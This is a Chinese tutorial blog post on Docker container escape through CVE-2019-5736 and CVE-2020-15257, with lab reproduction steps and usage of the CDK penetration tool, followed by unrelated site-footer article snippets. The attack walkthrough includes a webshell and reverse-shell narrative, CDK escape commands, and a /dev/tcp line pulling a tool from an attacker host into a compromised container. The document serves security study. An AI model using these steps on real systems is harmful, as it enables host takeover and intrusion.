【云安全】云原生-Docker(五)容器逃逸之漏洞利用

漏洞利用逃逸

通过漏洞利用实现逃逸,主要分为以下两种方式:

1、操作系统层面的内核漏洞

这是利用宿主机操作系统内核中的安全漏洞,直接突破容器的隔离机制,获得宿主机的权限。

攻击原理:容器本质上是通过 Linux 的 cgroups 和 namespace 提供隔离,而这些功能依赖于内核。因此,内核漏洞可能被用来突破隔离,攻击者可以直接访问宿主机。

常用漏洞:

  • Dirty COW (CVE-2016-5195):Linux 内核的写时复制 (Copy-On-Write) 漏洞,攻击者可以通过漏洞实现提权,影响宿主机。
  • OverlayFS 漏洞 (如 CVE-2021-3493):OverlayFS 文件系统中的权限校验漏洞,允许容器突破文件系统限制访问宿主机。
  • 权限提升漏洞 (如 CVE-2022-0847):又名“Dirty Pipe”,允许攻击者通过文件写入操作实现提权。
  • 其它:CVE-2019-16884、CVE-2021-22555、CVE-2022-0492、CVE-2022-23222等

系统内核漏洞并非 Docker 容器逃逸的“专属”利用方式,而是通用的一种权限提升技术。在 Web 安全或本地提权攻击场景中,内核漏洞同样可以被用来获取更高的系统权限。本章节属于云安全Docker内容,因此,内核漏洞的利用本文不做具体讨论。

2、Docker自身版本漏洞

Docker 本身作为容器管理工具,可能存在漏洞或实现上的不足,攻击者可以通过漏洞逃逸出容器环境,直接控制宿主机。

常用漏洞:

CVE-2019-5736

攻击者通过覆盖容器内的 runc 二进制文件,可以执行任意代码并控制宿主机。

利用条件

(1)版本:Docker version <= 18.09.2,RunC version <= 1.0-rc6 

(2)需要管理员再次进入容器触发

漏洞复现

a.首先卸载原有docker

sudo apt-get purge -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc

b.安装漏洞对应版本

apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

c.编译exp ,项目地址

https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go

下载EXP后修改

使用如下命令进行编译EXP

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

d.准备另一台主机进行监听,上传EXP到容器,执行

e. 模拟管理员进入容器,触发EXP执行,成功反弹shell,复现完毕

模拟实战

受害者搭建网站

攻击者发现存在 Spring Cloud Gateway 命令执行漏洞

发现是容器root权限

植入内存马,使用哥斯拉连接

使用哥斯拉的远程下载功能,下载EXP,并赋予执行权限

监听、执行→管理员进入容器→成功逃逸

CVE-2020-15257

该漏洞出现在 containerd 的 CRI plugin(容器运行时接口插件)中。攻击者可以通过创建特定配置的容器,将 cgroups(控制组)的 pids.max 参数设置为无效值。当 containerd 尝试写入这个值时,会导致内核返回错误。这可能使 containerd 的内部机制中断,从而允许攻击者进一步利用该错误实现权限提升。

利用条件

(1)版本:containerd < 1.4.3,containerd < 1.3.9(不含1.3.9 和 1.4.3

(2)容器权限为root,且以 --net=host 模式启动

模拟复现

a. 受害者安装的containerd版本为漏洞版本

apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

b.受害者基于以上环境搭建的网站,存在struts2漏洞

c. 攻击者发现漏洞。执行命令,发现是容器环境,权限为容器root

d.攻击者反弹shell后,在受害者容器内下载CDK项目

e.后续利用,搜寻教程和资料说是可以借助自动化项目CDK进行容器逃逸。但是,不知道哪里出了问题,该漏洞我未能复现成功,猜测是各大云厂商做了安全优化,一路上各种报错,如果哪位大佬知道其中的缘由,还望告知!

自动化项目:CDK

项目链接:
GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。 

下载/植入
  • 在目标容器内直接wget或者curl
  • 通过公网主机nc重定向
A主机:nc -lvp 999 < cdk
B主机:cat < /dev/tcp/A主机IP/999 > cdk

 

功能模块
  • Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
  • Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
  • Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
使用测试

以特权模式启动一个容器

在容器中下载CDK

信息收集

./cdk eva

发现特权模式

特权模式利用

 ./cdk run mount-disk

使用自动逃逸也是没问题的

 ./cdk  auto-escape id

Ps:该项目还是很强大的,经测试,特权模式、危险挂载均可以检查并利用,师傅们可自行测试

结尾

至此,Docker安全问题分析结束,下一篇开始,讨论容器编排工具k8s的安全问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/959712.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Uniapp-Vue3】request各种不同类型的参数详解

一、参数携带 我们调用该接口的时候需要传入type参数。 第一种 路径名称?参数名1参数值1&参数名2参数值2 第二种 uni.request({ url:"请求路径", data:{ 参数名:参数值 } }) 二、请求方式 常用的有get&#xff0c;post和put 三种&#xff0c;默认是get请求。…

基于SpringBoot的软件产品展示销售系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…

hedfs和hive数据迁移后校验脚本

先谈论校验方法&#xff0c;本人腾讯云大数据工程师。 1、hdfs的校验 这个通常就是distcp校验&#xff0c;hdfs通过distcp迁移到另一个集群&#xff0c;怎么校验你的对不对。 有人会说&#xff0c;默认会有校验CRC校验。我们关闭了&#xff0c;为什么关闭&#xff1f;全量迁…

mysql学习笔记-数据库的设计规范

1、范式简介 在关系型数据库中&#xff0c;关于数据表设计的基本原则、规则就称为范式。 1.1键和相关属性的概念 超键:能唯一标识元组的属性集叫做超键。 候选键:如果超键不包括多余的属性&#xff0c;那么这个超键就是候选键 主键:用户可以从候选键中选择一个作为主键。 外…

高并发问题的多维度解决之道

‍‌​​‌‌​‌​‍‌​​​‌‌​​‍‌​​​‌​‌​‍‌​​‌​​‌​‍‌‌​​‌​‌​‍‌​‌​‌‌​​‍‌​‌​‌​​​‍‌​‌​‌​‌​‍‌​‌‌​​‌​‍‌​‌‌​​​​‍‌‌​​‌‌‌‌‍‌‌​​‌​‌‌‍‌​​​‌‌​​‍‌​​‌‌‌​​‍‌…

Windows Defender添加排除项无权限的解决方法

目录 起因Windows Defender添加排除项无权限通过管理员终端添加排除项管理员身份运行打开PowerShell添加/移除排除项的命令 起因 博主在打软件补丁时&#xff0c;遇到 Windows Defender 一直拦截并删除文件&#xff0c;而在 Windows Defender 中无权限访问排除项。尝试通过管理…

数据结构——堆(C语言)

基本概念&#xff1a; 1、完全二叉树&#xff1a;若二叉树的深度为h&#xff0c;则除第h层外&#xff0c;其他层的结点全部达到最大值&#xff0c;且第h层的所有结点都集中在左子树。 2、满二叉树&#xff1a;满二叉树是一种特殊的的完全二叉树&#xff0c;所有层的结点都是最…

工业相机 SDK 二次开发-Halcon 插件

本文介绍了 Halcon 连接相机时插件的使用。通过本套插件可连接海康 的工业相机。 一. 环境配置 1. 拷贝动态库 在 用 户 安 装 MVS 目 录 下 按 照 如 下 路 径 Development\ThirdPartyPlatformAdapter 找到目录为 HalconHDevelop 的文 件夹&#xff0c;根据 Halcon 版本找到对…

Vue3 + TS 实现批量拖拽 文件夹和文件 组件封装

一、html 代码&#xff1a; 代码中的表格引入了 vxe-table 插件 <Tag /> 是自己封装的说明组件 表格列表这块我使用了插槽来增加扩展性&#xff0c;可根据自己需求&#xff0c;在组件外部做调整 <template><div class"dragUpload"><el-dial…

CF 339A.Helpful Maths(Java实现)

题目分析 输入一串式子&#xff0c;输出从小到大排列的式子 思路分析 如上所说核心思路&#xff0c;但是我要使用笨方法&#xff0c;输入一串式子用split分割开&#xff0c;但是此时需要用到转义字符&#xff0c;即函数内参数不能直接使用“”&#xff0c;而是“\\”。分割开后…

naivecv的设计与实现(3): NV12到RGB的转换

准备 NV12 图像 在 github 搜索关键字 “YUVViewer", 找到样例文件&#xff1a; https://github.com/LiuYinChina/YUVViewer/blob/master/Output/720X576-NV12.yuv 它是二进制文件&#xff0c;没有文件头信息&#xff0c;只有像素内容, 排布方式: 先 Y 平面&#xff0c…

我谈区域偏心率

偏心率的数学定义 禹晶、肖创柏、廖庆敏《数字图像处理&#xff08;面向新工科的电工电子信息基础课程系列教材&#xff09;》P312 区域的拟合椭圆看这里。 Rafael Gonzalez的二阶中心矩的表达不说人话。 我认为半长轴和半短轴不等于特征值&#xff0c;而是特征值的根号。…

ansible自动化运维实战--软件包管理模块、服务模块、文件模块和收集模块setup(4)

文章目录 一、软件包管理模块1.1、功能1.2、常用参数1.3、示例 二、服务模块2.1、功能2.2、服务模块常用参数2.3、示例 三、文件与目录模块3.1、file功能3.2、常用参数3.3、示例 四、收集模块-setup4.1、setup功能4.2、示例 一、软件包管理模块 1.1、功能 Ansible 提供了多种…

Elasticsearch 性能测试工具 Loadgen 之 004——高级用法示例

在性能测试中&#xff0c;能够灵活地模拟不同的应用场景是至关重要的。 Loadgen 提供了多种高级用法&#xff0c;帮助用户更好地评估系统在不同负载下的表现。 本文将介绍如何使用 Loadgen 模拟批量摄取、限制客户端负载以及限制总请求数。 一、模拟批量摄取 在实际应用中&…

将点云转换为 3D 网格:Python 指南

3D 数据的世界往往是一个碎片化的景观。 存在点云&#xff0c;其细节丰富&#xff0c;但缺乏表面信息。 有3D 网格&#xff0c;它明确地定义表面&#xff0c;但创建起来通常很复杂。 将点云转换为网格弥补了这一差距并开启了许多可能性&#xff0c;从真实模拟到 3D 数字环境…

智能电动汽车系列 --- 智能汽车向车载软件转型

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 简单,单纯,喜欢独处,独来独往,不易合同频过着接地气的生活,除了生存温饱问题之外,没有什么过多的欲望,表面看起来很高冷,内心热情,如果你身…

不解释快上车

聊一聊 最近有小伙伴问我有小红书图片和短视频下载的软件吗&#xff0c;我心想&#xff0c;下载那上面的图片和视频做什么&#xff1f;也许是自己没有这方面的需求&#xff0c;不了解。 不过话又说回来&#xff0c;有些很多下载器可能作者没有持续的维护&#xff0c;所以可能…

FPGA实现任意角度视频旋转(完结)视频任意角度旋转实现

本文主要介绍如何基于FPGA实现视频的任意角度旋转&#xff0c;关于视频180度实时旋转、90/270度视频无裁剪旋转&#xff0c;请见本专栏前面的文章&#xff0c;旋转效果示意图如下&#xff1a; 为了实时对比旋转效果&#xff0c;采用分屏显示进行处理&#xff0c;左边代表旋转…

[JavaScript] 面向对象编程

JavaScript 是一种多范式语言&#xff0c;既支持函数式编程&#xff0c;也支持面向对象编程。在 ES6 引入 class 语法后&#xff0c;面向对象编程在 JavaScript 中变得更加易于理解和使用。以下将详细讲解 JavaScript 中的类&#xff08;class&#xff09;、构造函数&#xff0…

20250121在Ubuntu20.04.6下使用Linux_Upgrade_Tool工具给荣品的PRO-RK3566开发板刷机

sudo upgrade_tool uf update.img 20250121在Ubuntu20.04.6下使用Linux_Upgrade_Tool工具给荣品的PRO-RK3566开发板刷机 2025/1/21 11:54 百度&#xff1a;ubuntu RK3566 刷机 firefly rk3566 ubuntu upgrade_tool烧写详解 https://wiki.t-firefly.com/Core-3566JD4/03-upgrad…